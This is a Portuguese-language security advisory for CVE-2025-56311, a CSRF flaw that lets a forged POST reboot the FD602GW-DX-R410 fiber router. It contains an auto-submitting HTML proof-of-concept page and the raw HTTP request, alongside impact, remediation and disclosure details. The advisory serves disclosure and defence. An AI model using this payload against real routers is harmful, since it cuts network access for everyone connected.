CVE-2025-56311: Aviso de Segurança – Vulnerabilidade CSRF na Função de Reinicialização do Roteador FD602GW-DX-R410

Prova de Conceito e Aviso de Segurança para uma vulnerabilidade de Cross-Site Request Forgery (CSRF) na interface administrativa do roteador de fibra FD602GW-DX-R410 (Firmware V2.2.14). O aviso descreve o impacto, o vetor de ataque e as recomendações para remediação.

fd602gw-dx-r410-csrf-advisory

A vulnerabilidade CSRF no roteador FD602GW-DX-R410 permite que atacantes remotos reinicializem o dispositivo por meio de uma solicitação POST maliciosa para /boaform/admin/formReboot quando um administrador está autenticado.

Visão Geral

Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) foi descoberta no console administrativo baseado na web do roteador de fibra FD602GW-DX-R410 (Firmware V2.2.14). O endpoint /boaform/admin/formReboot permite que solicitações POST acionem uma reinicialização completa do dispositivo sem tokens CSRF ou validação de origem. Se um administrador autenticado visitar uma página maliciosa, o roteador pode ser reinicializado remotamente sem consentimento.

ID do CVE: CVE-2025-56311
Data de Publicação do Aviso: Julho de 2025
Descoberto por: Hasanka Amarasinghe (Pesquisador de Segurança Independente)
Fornecedor: Shenzhen C-Data Technology Co., Ltd.
Produto Afetado: Roteador de Fibra FD602GW-DX-R410
Versão do Firmware: V2.2.14 (Build.1918.241111)
Versão do Hardware: R410.1B
Versão do Bootloader: V3.7-2312181457
Servidor Web: Boa/0.93.15
Vetor de Acesso: Remoto (O administrador autenticado deve estar conectado)
Severidade: Média
Pontuação Base CVSS v3.1: 5.4 (Média)

Produto Afetado

Dispositivo: Roteador de Fibra FD602GW-DX-R410
Firmware: V2.2.14 (Build.1918.241111)
Componente: Manipulador de Reinicialização - /boaform/admin/formReboot
Servidor Web: Boa/0.93.15

Detalhes da Vulnerabilidade

Tipo: Cross-Site Request Forgery (CSRF)
Vetor de Ataque: Remoto (o administrador deve estar conectado à sua sessão)
Autenticação: Nenhuma exigida para o atacante (sessão de administrador exigida no navegador da vítima)
Impacto: Reinicialização não autorizada do dispositivo
Persistência de Estado: Sessão sem estado (stateless), provavelmente rastreada via IP ou tokens de sessão internos

Prova de Conceito (PoC)

Payload CSRF (HTML)

<html>
  <!-- CSRF PoC - generated by Burp Suite Pro -->
  <body>
    <form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
      <input type="hidden" name="postSecurityFlag" value="+65535" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Requisição HTTP

POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

postSecurityFlag=+65535

Resposta

HTTP 200 OK; O roteador reinicia imediatamente.

Recomendações

Implemente tokens CSRF e validação estrita de Origin/Referer em todos os endpoints administrativos.
Invalide sessões obsoletas ou órfãs e vincule as sessões a cookies seguros.
Considere usar CAPTCHA ou solicitações de confirmação antes de executar ações destrutivas como a reinicialização.
Restrinja o acesso à interface administrativa apenas a IPs confiáveis ou redes internas.

Vetor de Ataque

Exige que o administrador do roteador esteja autenticado (conectado).
Um atacante induz a vítima a visitar uma página web maliciosa que aciona silenciosamente uma solicitação POST para o endpoint de reinicialização.
O roteador aceita a solicitação forjada e reinicia imediatamente, causando negação de serviço.

Impacto

Negação de serviço devido à reinicialização forçada.
Perda de disponibilidade de rede para todos os usuários conectados.
Possibilidade de combinação com outros problemas (ex.: sequestro de sessão ou XSS) para elevar o impacto.

Cronograma de Divulgação

Data	Ação
Jun 2025	Vulnerabilidade descoberta
Jun 2025	Tentativa de divulgação responsável (sem resposta)

Referências

Fornecedor: Shenzhen C-Data Technology Co., Ltd.
Dispositivo: FD602GW-DX-R410
Firmware: V2.2.14
Aviso no GitHub: https://github.com/wrathfulDiety/CVE-2025-56311

Aviso Legal

Este aviso é fornecido para fins educacionais e de conscientização sobre segurança. O autor não se responsabiliza pelo uso indevido. Todos os testes foram realizados em um ambiente controlado.

CVE-2025-56311

Mais Populares